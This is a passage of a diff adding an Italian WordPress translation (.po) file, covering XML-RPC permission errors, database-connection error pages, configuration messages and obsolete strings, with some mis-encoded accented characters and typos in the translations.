+#: xmlrpc.php:1410
+#: xmlrpc.php:1438
+#: xmlrpc.php:1466
+msgid "You are not allowed access to details about this blog."
+msgstr "Non si dispone del permesso per accedere ai dettagli riguardanti questo blog."
+
+#: xmlrpc.php:1376
+msgid "You are not allowed access to details about comments."
+msgstr "Non si dispone del permesso per accedere ai dettagli riguardanti i commenti."
+
+#: xmlrpc.php:1550
+msgid "You are not allowed to update options."
+msgstr "Non si dispone del permesso per aggiornare le Impostazioni."
+
+#: xmlrpc.php:1632
+msgid "Sorry, you do not have access to user data on this blog."
+msgstr "Non si dispone del permesso per accedere ai dati utente di questo blog."
+
+#: xmlrpc.php:1668
+#: xmlrpc.php:2567
+#: xmlrpc.php:3057
+#: xmlrpc.php:3167
+msgid "Sorry, you cannot edit this post."
+msgstr "Non Ãš possibile modificare questo articolo."
+
+#: xmlrpc.php:1716
+#: xmlrpc.php:2924
+msgid "Either there are no posts, or something went wrong."
+msgstr "O non vi sono articoli o qualcosa Ãš andato storto."
+
+#: xmlrpc.php:1772
+msgid "Sorry, this user can not edit the template."
+msgstr "Questo utente non puÃ² modificare i template."
+
+#: xmlrpc.php:1814
+msgid "Sorry, this user cannot edit the template."
+msgstr "Questo utente non puÃ² modificare il template."
+
+#: xmlrpc.php:1825
+msgid "Either the file is not writable, or something wrong happened. The file has not been updated."
+msgstr "O il file non Ãš scrivibile,o qualcosa di sbagliato Ãš successo. Il file non Ãš stato modificato."
+
+#: xmlrpc.php:1857
+msgid "Sorry, you are not allowed to post on this blog."
+msgstr "Non si dipsone del permesso per pubblicare articoli su questo blog."
+
+#: xmlrpc.php:1913
+#: xmlrpc.php:1967
+#: xmlrpc.php:2660
+#: xmlrpc.php:3119
+msgid "Sorry, no such post."
+msgstr "Questo articolo non esistet."
+
+#: xmlrpc.php:1924
+#: xmlrpc.php:2489
+msgid "Sorry, you do not have the right to publish this post."
+msgstr "Spaicente, non si dispone dei permessi per pubblicare questo articolo."
+
+#: xmlrpc.php:2010
+#: xmlrpc.php:2307
+msgid "Sorry, you are not allowed to publish posts on this blog."
+msgstr "non si dispone del permesso per pubblicare articoli su questo blog."
+
+#: xmlrpc.php:2016
+#: xmlrpc.php:2313
+msgid "Sorry, you are not allowed to publish pages on this blog."
+msgstr "Non si dispone del permesso per pubblicare pagine su questo blog."
+
+#: xmlrpc.php:2026
+#: xmlrpc.php:2075
+#: xmlrpc.php:2323
+#: xmlrpc.php:2383
+msgid "Invalid post type."
+msgstr "Tipo di articolo non valido"
+
+#: xmlrpc.php:2066
+msgid "You are not allowed to post as this user"
+msgstr "Non si dispone del permesso per pubblicare articoli con questo nome utente."
+
+#: xmlrpc.php:2071
+msgid "You are not allowed to create pages as this user"
+msgstr "Non si dispone del permesso per creare pagine con questo nome utente."
+
+#: xmlrpc.php:2374
+msgid "You are not allowed to change the post author as this user."
+msgstr "Non si dispone del permesso permesso per cambiare l&#8217;autore dell&#8217;articolo con questo nome utente."
+
+#: xmlrpc.php:2379
+msgid "You are not allowed to change the page author as this user."
+msgstr "Non si dispone del permesso per cambiare l&#8217;autore della pagina con questo nome utente."
+
+#: xmlrpc.php:2487
+msgid "Sorry, you do not have the right to publish this page."
+msgstr "Non si dispone dei permessi per pubblicare questa pagina."
+
+#: xmlrpc.php:2522
+msgid "Sorry, your entry could not be edited. Something wrong happened."
+msgstr "Questa voce non puÃ² essere modificata. Si Ãš verificato un errore."
+
+#: xmlrpc.php:2787
+#: xmlrpc.php:2974
+msgid "Sorry, you must be able to edit posts on this blog in order to view categories."
+msgstr "Occorre avere la possibilitÃ  di modificare gli articoli di questo blog per poter visualizzare le categorie."
+
+#: xmlrpc.php:2844
+msgid "You are not allowed to upload files to this site."
+msgstr "Non si dispone del permesso per caricare file su questo sito."
+
+#: xmlrpc.php:2871
+#, php-format
+msgid "Could not write file %1$s (%2$s)"
+msgstr "Impossibile scrivere il file %1$s (%2$s)"
+
+#: xmlrpc.php:3013
+msgid "Sorry, you can not edit this post."
+msgstr "Spaicente, non Ãš possibile modificare questo articolo."
+
+#: xmlrpc.php:3214
+msgid "Is there no link to us?"
+msgstr "Non ci sono link a noi ??"
+
+#: xmlrpc.php:3254
+#: xmlrpc.php:3264
+#: xmlrpc.php:3271
+#: xmlrpc.php:3379
+msgid "The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource."
+msgstr "L'URL indicata non puÃ² essere usata come destinazione. O non esiste o non Ãš una risorsa abilitata al pingback."
+
+#: xmlrpc.php:3267
+msgid "The source URL and the target URL cannot both point to the same resource."
+msgstr "L' URL di partenza e l' URL d'arrivo non possono puntare alla stessa risorsa."
+
+#: xmlrpc.php:3277
+msgid "The pingback has already been registered."
+msgstr "The pingback has already been registered."
+
+#: xmlrpc.php:3285
+msgid "The source URL does not exist."
+msgstr "L&#8217;URL sorgente non esiste."
+
+#: xmlrpc.php:3297
+msgid "We cannot find a title on that page."
+msgstr "Non possiamo trovare un titolo in quella pagina."
+
+#: xmlrpc.php:3333
+msgid "The source URL does not contain a link to the target URL, and so cannot be used as a source."
+msgstr "L' URL d'origine non contiene un link all'URL di destinazionee quindi non puÃ² essere utilizzato come origine."
+
+#: xmlrpc.php:3353
+#, php-format
+msgid "Pingback from %1$s to %2$s registered. Keep the web talking! :-)"
+msgstr "Pingback da %1$s a %2$s registrato. Facciamo parlare il web! :-)"
+
+#: xmlrpc.php:3386
+msgid "The specified target URL does not exist."
+msgstr "L'&#8217;URL di destinazione specifica non esiste"
+
+#. Not gettexted string WP_I18N_DB_CONN_ERROR
+#: wp-includes/wp-db.php:352
+msgid ""
+"\n"
+"<h1>Error establishing a database connection</h1>\n"
+"<p>This either means that the username and password information in your <code>wp-config.php</code> file is incorrect or we can't contact the database server at <code>%s</code>. This could mean your host's database server is down.</p>\n"
+"<ul>\n"
+"\t<li>Are you sure you have the correct username and password?</li>\n"
+"\t<li>Are you sure that you have typed the correct hostname?</li>\n"
+"\t<li>Are you sure that the database server is running?</li>\n"
+"</ul>\n"
+"<p>If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href='http://wordpress.org/support/'>WordPress Support Forums</a>.</p>\n"
+msgstr ""
+"\n"
+"<h1>Errore nello stabilire una connessione al database</h1>\n"
+"<p>CiÃ² significa che le informazioni sul nome utente o sulla password presenti nel file <code>wp-config.php</code> non sono corrette o che non Ãš possibile contattare il server del database a <code>%s</code>. Il che potrebbe voler dire che il database server del fornitore di hosting non Ãš attivo.</p>\n"
+"<ul>\n"
+"\t<li>Si Ãš sicuri di disporre del nome utente e della password corretti?</li>\n"
+"\t<li>Si Ãš sicuri di aver digitato correttamente il nome dell'host?</li>\n"
+"\t<li>Si Ãš sicuri che il server del database sia funzionante?</li>\n"
+"</ul>\n"
+"<p>Nel caso non si abbia certezza sul significato di questi termini Ãš opportuno contattare il proprio host. Se si ha bisogno di ulteriore aiuto Ãš sempre possibile visitare il <a href='http://www.wordpress-it.it/forumt/'>Forum di supporto italiano su WordPress</a>.</p>\n"
+
+#. Not gettexted string WP_I18N_DB_BAD_PREFIX
+#: wp-includes/wp-db.php:400
+msgid "Invalid database prefix"
+msgstr "Prefisso database non valido"
+
+#. Not gettexted string WP_I18N_DB_SELECT_DB
+#: wp-includes/wp-db.php:439
+msgid ""
+"\n"
+"<h1>Can&#8217;t select database</h1>\n"
+"<p>We were able to connect to the database server (which means your username and password is okay) but not able to select the <code>%1$s</code> database.</p>\n"
+"<ul>\n"
+"<li>Are you sure it exists?</li>\n"
+"<li>Does the user <code>%2$s</code> have permission to use the <code>%1$s</code> database?</li>\n"
+"<li>On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?</li>\n"
+"</ul>\n"
+"<p>If you don't know how to setup a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href=\"http://wordpress.org/support/\">WordPress Support Forums</a>.</p>"
+msgstr ""
+"\n"
+"<h1>Impossibile selesionare il database</h1>\n"
+"<p>&Egrave; stato possibile connettersi al server del database (il che significa che il nome utente e la password sono ok) ma non Ãš stato possibile selezionare il database <code>%1$s</code>.</p>\n"
+"<ul>\n"
+"<li>Si Ãš certi che esista?</li>\n"
+"<li>L'utente <code>%2$s</code> ha i permessi di usare il database <code>%1$s</code>?</li>\n"
+"<li>Su alcuni sistemi il nome del database va fatto precedere dal nome utente, cosÃ¬ da avere un formato simile a username_wordpress. Potrebbe essere questo il problema?</li>\n"
+"</ul>\n"
+"<p>Se non si sa come impostare un database sarebbe opportuno <strong>contattare il proprio host</strong>. Se tutto questo fallisce Ãš possibile trovare aiuto sul <a href='http://www.wordpress-it.it/forumt/'>Forum di supporto italiano su WordPress</a>.</p>"
+
+#. Not gettexted string WP_I18N_DB_QUERY_ERROR_FULL
+#: wp-includes/wp-db.php:561
+msgid "WordPress database error %1$s for query %2$s made by %3$s"
+msgstr "WordPress errore sul database %1$s per la query %2$s fatta da %3$s"
+
+#. Not gettexted string WP_I18N_DB_QUERY_ERROR
+#: wp-includes/wp-db.php:563
+msgid "WordPress database error %1$s for query %2$s"
+msgstr "WordPress errore database %1$s per la query %2$s"
+
+#. Not gettexted string WP_I18N_DB_GETROW_ERROR
+#: wp-includes/wp-db.php:860
+msgid " $db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N"
+msgstr " $db->get_row(string query, output type, int offset) -- Il risultato deve essere uno fra questi: OBJECT, ARRAY_A, ARRAY_N"
+
+#. Not gettexted string WP_I18N_OLD_PHP
+#: wp-settings.php:109
+msgid "Your server is running PHP version %s but WordPress requires at least 4.3."
+msgstr "Il server utilizzato sta utilizzando PHP versione %s ma WordPress richiede almeno la versione 4.3"
+
+#. Not gettexted string WP_I18N_OLD_MYSQL
+#: wp-settings.php:147
+msgid "Your PHP installation appears to be missing the MySQL extension which is required by WordPress."
+msgstr "'installazione PHP appare mancante dell'estensione MySQL che Ãš necessario per utilizzare WordPress."
+
+#. Not gettexted string WP_I18N_BAD_PREFIX
+#: wp-settings.php:271
+msgid "<strong>ERROR</strong>: <code>$table_prefix</code> in <code>wp-config.php</code> can only contain numbers, letters, and underscores."
+msgstr "<strong>ERRORE</strong>: il <code>$table_prefix</code> in <code>wp-config.php</code> puÃ² contenere solo numeri, lettere e carattere di sottolineatura."
+
+#. Not gettexted string WP_I18N_TEXT_DIRECTION
+#: wp-load.php:49
+msgid "ltr"
+msgstr "ltr"
+
+#. Not gettexted string WP_I18N_NO_CONFIG
+#: wp-load.php:50
+msgid "There doesn't seem to be a <code>wp-config.php</code> file. I need this before we can get started. Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>. You can create a <code>wp-config.php</code> file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file.</p><p><a href='%ssetup-config.php' class='button'>Create a Configuration File</a>"
+msgstr "Sembra mancare un file <code>wp-config.php</code>. Questo file Ãš necessario per poter iniziare. Serve aiuto? <a href='http://codex.wordpress.org/Editing_wp-config.php'>Eccolo</a>. &Egrave; possibile creare un file <code>wp-config.php</code> tramite una interfaccia web, ma non funziona con tutte le configurazioni dei server. La strada piÃ¹ sicura Ãš quella di creare manualmente il file.</p><p><a href='%ssetup-config.php' class='button'>Crea un file di configurazione</a>"
+
+#~ msgid "Enable syntax highlighting"
+#~ msgstr "Abilitare l&#8217;evidenziatore di sintassi"
+#~ msgid "Disable syntax highlighting"
+#~ msgstr "Disabilitare l&#8217;evidenziatore di sintassi"
+#~ msgid ""
+#~ "Enable keyboard shortcuts for comment moderation. <a href=\"http://codex."
+#~ "wordpress.org/Keyboard_Shortcuts\">More information</a>"
+#~ msgstr ""
+#~ "Abilitare le scorciatoie di tastiera per la moderazione dei commenti. <a "
+#~ "href=\"http://codex.wordpress.org/Keyboard_Shortcuts\">Altre "
+#~ "informazioni</a>"
+#~ msgid "Return to Theme Installer."
+#~ msgstr "Tornare all'installatore di temi"
+#~ msgid "(Password not shown)"
+#~ msgstr "(Password non visualizzata)"
+#~ msgid ""
+#~ "<p>There is a new version of %1$s available. <a href=\"%2$s\" class="
+#~ "\"thickbox\" title=\"%1$s\">View version %3$s Details</a>.</p>"
+#~ msgstr ""
+#~ "&Egrave; disponibile una nuova versione di %1$s. <a href=\"%2$s\" class="
+#~ "\"thickbox\" title=\"%1$s\">Visualizza i dettagli sulla versione %3$s</a>"
+#~ msgid "%s Feed"
+#~ msgstr "%s Feed"
+#~ msgid "%s Comments Feed"
+#~ msgstr "%s Feed dei commenti"
+#~ msgid "View Site"
+#~ msgstr "Visualizza sito"
+#~ msgid "Edit \"%s\""
+#~ msgstr "Modifica \"%s\""
+#~ msgid "View \"%s\""
+#~ msgstr "Visualizza \"%s\""
+#~ msgid "Post updated. Continue editing below or <a href=\"%s\">go back</a>."
+#~ msgstr ""
+#~ "Articolo aggiornato. Continuare la modifica o <a href=\"%s\">tornare "
+#~ "indietro</a>."
+#~ msgid "title"
+#~ msgstr "titolo"
+#~ msgid ""
+#~ "Choose the frame your link targets. Essentially this means if you choose "
+#~ "<code>_blank</code> your link will open in a new window."
+#~ msgstr ""
+#~ "Seleziona il riquadro di destinazione del link. Essenzialmente questo "
+#~ "significa che selezionando <code>_blank</code> il link verrÃ² aperto in "
+#~ "una nuova finestra."
+#~ msgid "Page updated. Continue editing below or <a href=\"%s\">go back</a>."
+#~ msgstr ""
+#~ "Pagina aggiornata. Continuare la modifica o <a href=\"%s\">tornare "
+#~ "indietro</a>."
+#~ msgid ""
+#~ "Also, since you're coming from DotClear, you probably have been using "
+#~ "Textile to format your comments and posts.  If this is the case, we "
+#~ "recommend downloading and installing <a href=\"http://www.huddledmasses."
+#~ "org/category/development/wordpress/textile/\">Textile for WordPress</a>.  "
+#~ "Trust me... You'll want it."
+#~ msgstr ""
+#~ "Dal momento che si proviene da DotClear, probabilmente si Ãš utilizzato il "
+#~ "formato Textile per gli articoli e i commenti. In questo caso, "
+#~ "raccomandiamo di scaricare e installare <a href=\"http://www."
+#~ "huddledmasses.org/category/development/wordpress/textile/\">Textile per "
+#~ "WordPress</a>. Credetemi... Se ne avrÃ  davvero bisogno."
+#~ msgid "That's it! What are you waiting for? Go <a href=\"%1$s\">login</a>!"
+#~ msgstr ""
+#~ "Tutto fatto! Vi aspettavate qualcos'altro? Effettuare il <a href=\"%1$s"
+#~ "\">login</a>!"
+#~ msgid "Downloading update from %s."
+#~ msgstr "Scaricamento aggiornamento da %s."
+#~ msgid "Preview \"%s\""
+#~ msgstr "Anteprima \"%s\""
+#~ msgid "Activate \"%s\""
+#~ msgstr "Attiva \"%s\""
+#~ msgid "Back to Theme Installer"
+#~ msgstr "TOrnare all'installatore di temi"
+#~ msgid ""
+#~ "The file exceeds the <code>upload_max_filesize</code> directive in "
+#~ "<code>php.ini</code>."
+#~ msgstr ""
+#~ "Il file eccede la direttiva <code>upload_max_filesize</code> in <code>php."
+#~ "ini</code>."
+#~ msgid ""
+#~ "The file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified "
+#~ "in the HTML form."
+#~ msgstr ""
+#~ "Il file eccede la direttiva <em>MAX_FILE_SIZE</em> specificata nel modulo "
+#~ "HTML."
+#~ msgid "The file was only partially uploaded."
+#~ msgstr "Il file Ãš stato caricato solo parzialmente."
+#~ msgid "No file was sent."
+#~ msgstr "Non Ãš stato inviato alcun file."
+#~ msgid "Get help with \"%s\""
+#~ msgstr "Ottenere aiuto su \"%s\""
+#~ msgid "Install \"%s\""
+#~ msgstr "Installa \"%s\""
+#~ msgid "<strong>ERROR</strong>: The e-mail address isn't correct."
+#~ msgstr "<strong>ERRORE</strong>: l&#8217;indirizzo e-mail non Ãš corretto"
+#~ msgid "No matching widgets"
+#~ msgstr "Nessun widget trovato"
+#~ msgid "Delete Plugin"
+#~ msgstr "Cancella plugin"
+#~ msgid "%s by %s"
+#~ msgstr "%s di %s"
+#~ msgid ""
+#~ "Plugins extend and expand the functionality of WordPress. <a href=\"%s"
+#~ "\">Install new plugins</a> and then activate, deactivate, or delete them "
+#~ "here."
+#~ msgstr ""
+#~ "I plugin estendono ed ampliano le funzionalitÃ  di WordPress. <a href=\"%s"
+#~ "\">Installare nuovi plugin</a> e quindi attivarli, deattivarl o "
+#~ "cancellarli da qui."
+#~ msgid "Preview of \"%s\""
+#~ msgstr "Anteprima di \"%s\""
+#~ msgid "Get More Themes"
+#~ msgstr "Altri temi"
+#~ msgid ""
+#~ "You can find additional themes for your site in the <a href=\"http://"
+#~ "wordpress.org/extend/themes/\">WordPress theme directory</a>. To install "
+#~ "a theme you generally just need to upload the theme folder into your "
+#~ "<code>wp-content/themes</code> directory. Once a theme is uploaded, you "
+#~ "should see it on this page."
+#~ msgstr ""
+#~ "&Egrave; possibile trovare temi aggiuntivi per il proprio sito nella <a "
+#~ "href=\"http://wordpress.org/extend/themes/\">WordPress theme directory</"
+#~ "a>. Per installare un tema solitamente Ãš sufficiente caricare la cartella "
+#~ "del tema nella directory <code>wp-content/themes</code>. Una volta "
+#~ "caricato un tema questo dovrebbe essere visibile su questa pagina."
+#~ msgid "Required."
+#~ msgstr "Obbligatorio."
+#~ msgid "Username (required)"
+#~ msgstr "Nome utente (obbligatorio)"
+#~ msgid "E-mail (required)"
+#~ msgstr "E-mail (obbligatoria)"
+#~ msgid "Password (twice)"
+#~ msgstr "Password (inserirla due volte)"
+#~ msgid "Error in RSS Widget: %s"
+#~ msgstr "Errore nel widget RSS: %s"
+#~ msgid "Invalid post id."
+#~ msgstr "Id articolo non valido"
+#~ msgid "Connection to the server has timeout after %s seconds."
+#~ msgstr "La connessione al server Ãš andata in timeout dop %s secondi."
+#~ msgid "No plugin Specified"
+#~ msgstr "Non Ãš stato specificato alcun plugin"
+#~ msgid "Successfully installed the plugin."
+#~ msgstr "Plugin installato con successo."
+#~ msgid "Unpacking the plugin package"
+#~ msgstr "Scompattamento del plugin"
+#~ msgid "No theme specified"
+#~ msgstr "Non Ãš stato specificato alcun tema"
+#~ msgid "Successfully installed the theme."
+#~ msgstr "Tema installato con successo"
+#~ msgid "Unable to locate WordPress themes directory."
+#~ msgstr "Impossibile trovare la directory dei temi di WordPress."
+#~ msgid "Unable to locate WordPress content directory (wp-content)."
+#~ msgstr ""
+#~ "Impossibile trovare la directory dei contenuti di WordPress  (wp-content)."
+#~ msgid "Downloading theme package from %s"
+#~ msgstr "Scaricamento del tema da %s"
+#~ msgid "Theme does not exist."
+#~ msgstr "Il tema non esiste."
+#~ msgid "Unpacking the core update"
+#~ msgstr "Scompattamento dell&#8217;aggiornamento dei file di core"
+#~ msgid "Currently Active Plugins"
+#~ msgstr "Plugin attivi"
+#~ msgid "Recently Active Plugins"
+#~ msgstr "Plugin recentemente attivi"
+#~ msgid ""
+#~ "The following plugins were recently active. When a plugin has been "
+#~ "inactive for more than 7 days it will be moved to the Inactive plugin "
+#~ "list."
+#~ msgstr ""
+#~ "I seguenti plugin erano attivi recentemente. Quando un plugin rimarrÃ  "
+#~ "inattivo per piÃ¹ di 7 giorni verrÃ  spostato fra i plugin non attivi"
+#~ msgid "Inactive Plugins"
+#~ msgstr "Plugin non attivi"
+#~ msgid "Get More Plugins"
+#~ msgstr "Ottenere altri plugin"
+#~ msgid ""
+#~ "To <em>manually</em> install a plugin you generally just need to upload "
+#~ "the plugin file into your <code>%s</code> directory."
+#~ msgstr ""
+#~ "Per installare <em>manualmente</em> un plugin solitamente Ãš sufficiente "
+#~ "caricare i file del plugin nella directory <code>%s</code>."
+#~ msgid "Once a plugin has been installed, you may activate it here."
+#~ msgstr ""
+#~ "Una volta che un plugin Ãš stato installato, Ãš possibile attivarlo qui."
+#~ msgid "Setting theme as Current"
+#~ msgstr "Impostare il tema come tema corrente"
+#~ msgid "Current Widgets"
+#~ msgstr "Widget correnti"
+#~ msgid "Add more from the Available Widgets section."
+#~ msgstr ""
+#~ "&Egrave; possibile aggiungerne altri dalla sezione Widget disponibili.."
+#~ msgid "Page updated."
+#~ msgstr "Pagina aggiornata."
+#~ msgctxt "widget"
+#~ msgid "%1$s: %2$s"
+#~ msgstr "%1$s: %2$s"
+#~ msgid "Use legacy <code>my-hacks.php</code> file support"
+#~ msgstr "Usa il supporto del file <code>my-hacks.php</code>"
+#~ msgid ""
+#~ "Your WordPress database is out-of-date, and must be upgraded before you "
+#~ "can continue."
+#~ msgstr ""
+#~ "Il tuo database di Wordpress non Ãš aggiornato, e deve essere aggiornato "
+#~ "per poter continuare."
+#~ msgid "Add Widget"
+#~ msgstr "Aggiungi widget"
+#~ msgid "You are using %1$s widget in the \"%2$s\" sidebar."
+#~ msgid_plural "You are using %1$s widgets in the \"%2$s\" sidebar."
+#~ msgstr[0] "Si sta utilizzando %1$s widget nella sidebar \"%2$s\"."
+#~ msgstr[1] "Si stanno utilizzando %1$s widget nella sidebar \"%2$s\"."
+#~ msgid "You are using %1$s widget in the sidebar."
+#~ msgid_plural "You are using %1$s widgets in the sidebar."
+#~ msgstr[0] "Si sta utilizzando %1$s widget nella sidebar."
+#~ msgstr[1] "Si stanno utilizzando %1$s widget nella sidebar."
+#~ msgid "Show any widgets"
+#~ msgstr "Mostra qualsiasi widget"
+#~ msgid "Show all widgets"
+#~ msgstr "Mostra tutti i widget"
+#~ msgid "Show unused widgets"
+#~ msgstr "Mostra i widget inutilizzati"
+#~ msgid "Show used widgets"
+#~ msgstr "Mostra i widget utilizzati"
+#~ msgid ""
+#~ "Remember to click the \"Save Changes\" button at the bottom of the "
+#~ "Current Widgets column after you're all done!"
+#~ msgstr ""
+#~ "Ricordarsi di fare clic sul pulsante \"Salva modifiche\" alla base della "
+#~ "colonna Widget correnti dopo aver apportato tutte le modifiche!"
+#~ msgid "You're about to leave without having saved your changes!"
+#~ msgstr "Si sta per abbandonare senza aver salvato i cambiamenti!"
+#~ msgid "<strong>ERROR</strong>: Invalid username."
+#~ msgstr "<strong>ERRORE</strong>: nome utente non valido."
+#~ msgid "<strong>ERROR</strong>: Incorrect password."
+#~ msgstr "<strong>ERRORE</strong>: password errata."
+#~ msgid "Published|page"
+#~ msgstr "Pubblicata"
+#~ msgid "Published <span class=\"count\">(%s)</span>|page"
+#~ msgid_plural "Published <span class=\"count\">(%s)</span>"
+#~ msgstr[0] "Pubblicata <span class=\"count\">(%s)</span>"
+#~ msgstr[1] "Pubblicate <span class=\"count\">(%s)</span>"
+#~ msgid "Scheduled|page"
+#~ msgstr "Programmata"
+#~ msgid "Scheduled <span class=\"count\">(%s)</span>|page"
+#~ msgid_plural "Scheduled <span class=\"count\">(%s)</span>"
+#~ msgstr[0] "Programmata <span class=\"count\">(%s)</span>|page"
+#~ msgstr[1] "Programmate <span class=\"count\">(%s)</span>"
+#~ msgid "Pending Review|page"
+#~ msgstr "In attesa di revisione"
+#~ msgid "Pending Review <span class=\"count\">(%s)</span>|page"
+#~ msgid_plural "Pending Review <span class=\"count\">(%s)</span>"
+#~ msgstr[0] "In attesa di revisione <span class=\"count\">(%s)</span>"
+#~ msgstr[1] "In attesa di revisione <span class=\"count\">(%s)</span>"
+#~ msgid "Draft|page"
+#~ msgstr "Bozza"
+#~ msgid "Drafts|manage posts header"
+#~ msgstr "Bozze|manage posts header"
+#~ msgid "Draft <span class=\"count\">(%s)</span>|page"
+#~ msgid_plural "Drafts <span class=\"count\">(%s)</span>"
+#~ msgstr[0] "Bozza <span class=\"count\">(%s)</span>|page"
+#~ msgstr[1] "Bozze <span class=\"count\">(%s)</span>"
+#~ msgid "Private|page"
+#~ msgstr "Privata"
+#~ msgid "Private <span class=\"count\">(%s)</span>|page"
+#~ msgid_plural "Private <span class=\"count\">(%s)</span>"
+#~ msgstr[0] "Privata <span class=\"count\">(%s)</span>|page"
+#~ msgstr[1] "Private <span class=\"count\">(%s)</span>"
+#~ msgid "[need help?]"
+#~ msgstr "[serve aiuto?]"
+#~ msgid ""
+#~ "<strong>Term:</strong> Searches plugins names and descriptions for the "
+#~ "specified term"
+#~ msgstr ""
+#~ "<strong>Termine:</strong> ricerca i nomi dei plugin e le descrizioni per "
+#~ "i termini specificati"
+#~ msgid "<strong>Tag:</strong> Searches for plugins tagged as such"
+#~ msgstr "<strong>Tag:</strong> ricerca i plugin marcati con questi tag"
+#~ msgid ""
+#~ "<strong>Author:</strong> Searches for plugins created by the Author, or "
+#~ "which the Author contributed to."
+#~ msgstr ""
+#~ "<strong>Autore:</strong> ricerca i plugin creati dall'autore o per i "
+#~ "quali l'autore ha dato un contributo."
+#~ msgid "Editor|User role"
+#~ msgstr "Editore|User role"
+#~ msgid "Author|User role"
+#~ msgstr "Autore|User role"
+#~ msgid "Subscriber|User role"
+#~ msgstr "Sottoscrittore|User role"
+#~ msgid "rel"
+#~ msgstr "rel"
+#~ msgid "Advanced Search"
+#~ msgstr "Ricerca avanzata"
+#~ msgid ""
+#~ "You may also browse based on the most popular tags in the Theme Directory:"
+#~ msgstr ""
+#~ "&Egrave; possibile effettuare ricerche anche tramite i tag piÃ¹ popolari "
+#~ "nella directory dei temi:"
+#~ msgid "%d theme"
+#~ msgstr "%d tema"
+#~ msgid "%d themes"
+#~ msgstr "%d temi"
+#~ msgid "Uncategorized|Default category slug"
+#~ msgstr "senza-categoria|Default category slug"
+#~ msgid "Blogroll|Default link category slug"
+#~ msgstr "Blogroll|Default link category slug"
+#~ msgid "hello-world|Default post slug"
+#~ msgstr "ciao-mondo|Default post slug"
+#~ msgid "about|Default page slug"
+#~ msgstr "info|Default page slug"
+#~ msgid "ERROR"
+#~ msgstr "ERRORE"
+#~ msgid "Styles|Theme stylesheets in theme editor"
+#~ msgstr "Stili"
+#~ msgid ""
+#~ "Gears is installed and enabled on this computer. You can disable it from "
+#~ "your browser&#8217;s Options, Under the Hood menu."
+#~ msgstr ""
+#~ "Gears Ãš installato e funzionante su questo computer. &Egrave; possibile "
+#~ "disabilitarlo tramite il menu Strumenti del proprio browser nella sezione "
+#~ "Roba da smanettoni."
+#~ msgid "%1$s <span class=\"count\">(%2$s)</span>|user role with count"
+#~ msgstr "%1$s <span class=\"count\">(%2$s)</span>|user role with count"
+#~ msgid "Comment|noun"
+#~ msgstr "Commento|noun"
+#~ msgid "Approved|adjective"
+#~ msgstr "Approvato|adjective"
+#~ msgid "Spam|adjective"
+#~ msgstr "Spam|adjective"
+#~ msgid ", |between list items"
+#~ msgstr ", |between list items"
+#~ msgid ", and |between last two list items"
+#~ msgstr " e |between last two list items"
+#~ msgid " and |between only two list items"
+#~ msgstr " e |between only two list items"
+#~ msgid "%1$s %2$s|Used as a calendar caption"
+#~ msgstr "%1$s %2$s|Used as a calendar caption"
+#~ msgid "&raquo;|Seperator character for feed titles in theme head"
+#~ msgstr "&raquo;|Seperator character feed titles in theme head"
+#~ msgid "0| Extra width for the media popup in pixels"
+#~ msgstr "0"
+#~ msgid "0| Extra height for the media popup in pixels"
+#~ msgstr "0"
+#~ msgid "0| Extra width for the link popup in pixels"
+#~ msgstr "0"
+#~ msgid "0| Extra height for the link popup in pixels"
+#~ msgstr "0"
+#~ msgid "0| Extra width for the image popup in pixels"
+#~ msgstr "0"
+#~ msgid "0| Extra height for the image popup in pixels"
+#~ msgstr "0"
+#~ msgid "0| Extra width for the colorpicker popup in pixels"
+#~ msgstr "0"
+#~ msgid "0| Extra height for the colorpicker popup in pixels"
+#~ msgstr "0"
+#~ msgid ""
+#~ "number_format_decimals|$decimals argument for http://php.net/"
+#~ "number_format, default is 0"
+#~ msgstr ""
+#~ "number_format_decimals|$decimals argument for http://php.net/"
+#~ "number_format, default is 0"
+#~ msgid ""
+#~ "number_format_decimal_point|$dec_point argument for http://php.net/"
+#~ "number_format, default is ."
+#~ msgstr ""
+#~ "number_format_decimal_point|$dec_point argument for http://php.net/"
+#~ "number_format, default is ."
+#~ msgid ""
+#~ "number_format_thousands_sep|$thousands_sep argument for http://php.net/"
+#~ "number_format, default is ,"
+#~ msgstr ""
+#~ "number_format_thousands_sep|$thousands_sep argument for http://php.net/"
+#~ "number_format, default is ,"
+#~ msgid "j F, Y @ G:i|revision date format"
+#~ msgstr "j F Y @ G:i|revision date format"
+#~ msgid "%1$s by %2$s|post revision 1:datetime, 2:name"
+#~ msgstr "%1$s di %2$s|post revision 1:datetime, 2:name"
+#~ msgid "Medium|password strength"
+#~ msgstr "Media|password strength"
+#~ msgid "Error: could not find an RSS or ATOM feed at that URL."
+#~ msgstr "Errore:non trovo un fedd RSS o ATOM a quell' URL."
+#~ msgid "Custom Image Header"
+#~ msgstr "Immagine testata personalizzata"
+#~ msgid "M j, Y @ G:i|Publish box date format"
+#~ msgstr "j F Y @ G:i|Publish box date format"
+#~ msgid "Pending|adjective"
+#~ msgstr "In sospeso|adjective"
+#~ msgid "Downloaded <strong>%s</strong>"
+#~ msgstr "Scaricati <strong>%s</strong>"
+#~ msgid "Could not access comment XML file: %s"
+#~ msgstr "Impossibile accedere al file XML dei commenti: %s"
+#~ msgid " and replies:"
+#~ msgstr " e le repliche:"
+#~ msgid "Imported reply from <strong>%s</strong> on %s"
+#~ msgstr "Repliche importate da <strong>%s</strong> in %s"
+#~ msgid ""
+#~ "LiveJournal does not appear to be responding right now. Please try again "
+#~ "later."
+#~ msgstr "LiveJournal al momento pare non risponda. Riprovare piÃ¹ tardi."
+#~ msgid "Process my comment files &raquo;"
+#~ msgstr "Elaborazione file commenti &raquo;"
+#~ msgid "Parsing Comments"
+#~ msgstr "Scorrimento dei commenti"
+#~ msgid "Processed comment file %d of %d"
+#~ msgstr "Elaborazione file commento %d di %d"
+#~ msgid "Threaded cache file %d of %d"
+#~ msgstr "File di cache nidificato %d di %d"
+#~ msgid "Thread the next cache file &raquo;"
+#~ msgstr "Riorganizzazione del prossimo file di cache &raquo:"
+#~ msgid ""
+#~ "Alrighty, your comments are all threaded. There's just one last step -- "
